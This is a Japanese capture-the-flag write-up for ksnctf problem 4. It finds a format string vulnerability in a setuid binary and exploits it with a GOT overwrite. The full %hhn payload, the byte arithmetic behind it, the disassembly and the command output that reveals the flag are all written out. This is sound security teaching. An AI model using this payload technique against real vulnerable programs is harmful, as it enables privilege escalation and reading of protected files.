ksnctf write-up #4

問題4 Villager A

https://ksnctf.sweetduet.info/problem/4

考察
  • Format String Attackを推測
  • GOT overwrite
解法
  • sshで接続する
ssh q4@ctfq.sweetduet.info -p 10022
  • ファイルリストを確認する
ll
合計 16
-r--------. 3 q4a  q4a    22  5月 22 02:12 2012 flag.txt
-rwsr-xr-x. 1 q4a  q4a  5857  5月 22 11:21 2012 q4
-rw-r--r--. 1 root root  151  6月  1 04:47 2012 readme.txt
  • flag.txt、/tmpを表示してみる
less flag.txt
許可がありません

ll /tmp/
ls: cannot open directory /tmp/: 許可がありません
  • q4ファイルを確認する
strings q4
...省略
fopen
puts
putchar
stdin
printf
fgets
strcmp
__libc_start_main
CXXABI_1.3
GLIBC_2.1
GLIBC_2.0
PTRh
[^_]
What's your name?
Hi,
Do you want the flag?
I see. Good bye.
flag.txt
  • 権限のないflag.txtをq4プログラムでfopenして表示すると推測
  • printf関数が呼ばれていることから、Format String Attackと推測
[q4@localhost ~]$ echo "aaaa %x %x %x %x %x %x %x %x %x" | ./q4
What's your name?
Hi, aaaa 400 3318c0 8 14 fd7fc4 61616161 20782520 25207825 78252078

Do you want the flag?
  • Format String Attackの成功を確認
Format String Attack
ライブラリの書式編集機能を悪用し、実行中のプログラムのメモリを読めたり、書き換えたりできる脆弱性。引数に任意の値をとることができ、その引数がprintfの書式引数にそのまま渡っているためFormat String Attackの脆弱性となる。
objdump -S q4 | less
 804868d:       84 c0                   test   %al,%al
 804868f:       75 89                   jne    804861a <main+0x66>
 8048691:       c7 44 24 04 e6 87 04    movl   $0x80487e6,0x4(%esp)
 8048698:       08
 8048699:       c7 04 24 e8 87 04 08    movl   $0x80487e8,(%esp)
 80486a0:       e8 ff fd ff ff          call   80484a4 <fopen@plt>
  • 少し手前で「jne」があるので、条件分岐していると推測
  • fopen前のjne(804868f)から8048691に移動できればよいことが分かる。

ZFフラグの状態によってジャンプする命令はJZ命令と、JNZ命令がある。
ZF=0の時に分岐
JNE命令(Jump if not equal)
JNZ命令(Jump if not zero)

ZF=1の時分岐
JE命令(Jump if equal)
JZ命令(Jump if zero)

jz dest
 JZ命令は、ZFフラグがセットされている場合に、ディスティネーション・オペランドに指定された場所にジャンプする。
jnz dest
 JNZ命令は、ZFフラグがセットされていない場合に、ディスティネーション・オペランドに指定された場所にジャンプする。

  • mainを見ると、改行($0xa)を出力している"putchar"関数が呼び出されている。
 8048601:       c7 04 24 0a 00 00 00    movl   $0xa,(%esp)
 8048608:       e8 67 fe ff ff          call   8048474 <putchar@plt>
  • この"putchar"関数の呼び出し先を見ると、8048474で0x80499e0を呼び出している。
08048474 <putchar@plt>:
 8048474:       ff 25 e0 99 04 08       jmp    *0x80499e0
 804847a:       68 08 00 00 00          push   $0x8
 804847f:       e9 d0 ff ff ff          jmp    8048454 <.plt>
  • 「0x80499e0」番地の値を参照し、その値をアドレスとしジャンプしていることが分かる。
  • よって、「0x80499e0」番地をfopen前の条件分岐後である「0x8048691」番地に書き換えれば、fopenを実行できる。
GOT overwrite
"printf"関数等のフォーマット文字列を用いて任意のメモリ番地にある値を書き換える。
  • ジャンプするアドレスの指定は32bit(4byte)なので、上記で参照している"0x80499e0"番地を含めた4byte分(0x80499e0 ~ 0x80499e3)を参照する。
  • トルエンディアンを考慮すると最終的な番地と値は以下
番地
0x80499e0 0x91
0x80499e1 0x86
0x80499e2 0x04
0x80499e3 0x08
  • 特定のアドレスへの値の書き込み
    • アドレスへの値の書き込みには、%nを使う。
    • %nは引数で指定したアドレスにこれまでに出力したバイト数を書き込む。
    • 出力したバイト数を目的の値にするためには"%nc"を使うと1文字以上の任意のn文字を出力できる。
    • また、"%hhn"を使うとポインタがchar型とみなされて1バイトのみ書き込むことができる。
    • %nの代わりに%hnを使うと2バイト、%hhnを使うと1バイトのみの書き換えにすることができる。
    • 出力文字数が書き換えられるバイト長を越えた場合については、上位のバイトが無視される。
  • "%n$hhn"
    • nにはメモリ上に展開されているスタックの何番目の値を書き換えるかを指定
    • 指定されたスタックの値をアドレスとしたメモリ番地には実行された"printf"関数の現在の出力バイト数(0 ~ 255)が代入される。(※256以上の数値が書き込まれた場合は下位8ビットの数値で格納される。)
\xe0\x99\x04\x08
\xe1\x99\x04\x08
\xe2\x99\x04\x08
\xe3\x99\x04\x08
%129c%6$hhn
%245c%7$hhn
%126c%8$hhn
%4c%9$hhn
  • 上記は4バイトずつスタックに書き込み対象アドレスを書き込む。
  • 4バイトずつなので%n$hhnで指定する場合は6, 7, 8, 9番目に1行ずつ代入されることになる。
  • この時点で"printf"関数からは16バイト出力される。
  • スタックに積まれた6~8番目に格納された値とアドレスとしたメモリ番地に出力バイト数を格納
    • 1バイト目:出力バイト数を16バイトから145(0x91)バイトにする
      • 145-16(先頭16バイト) = 129
    • 2バイト目:次に145バイトから134(0x86)バイトにする
      • 格納したい値が現在のバイト数より小さいので、いったん256を上回る。
      • 下位8bitを134にするために256+134=390
      • 390-145=245
    • 3バイト目:134バイトから4(0x04)バイトにする
      • 256+4=260
      • 260-134 =126
    • 4バイト目:4バイトから8(0x08)バイトにする
      • 8-4=4
[q4@localhost ~]$ echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4
What's your name?
Hi,                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     
FLAG_
  • 特定のアドレスの値の読み込み
    • aaaaに対応する61616161が6番目に現われている
    • %6$xを指定すれば、6番目の値を直接表示させることができる。
kali@kali:~/ctf$ echo 'aaaa %6$x'|./q4
What's your name?
Hi, aaaa 61616161

Do you want the flag?
  • オブジェクトファイルの情報を表示する
objdump -S q4 | less
  • ELF ファイルに関する情報を表示
readelf -w -a q4 |less
  • オブジェクトファイルのシンボルを表示する
nm q4 |less
  • 共有ライブラリの依存関係を表示
ldd q4
  • 共有ライブラリの関数呼び出しをトレース
 ltrace q4
strace


参考にしたサイト
ksnctf write-up #4でググったサイト全般

地味に役立ったサービス

Compiler Explorer
C++で書いたコードがアセンブルされた結果を表示してくれるWebサービス

Compiler Explorer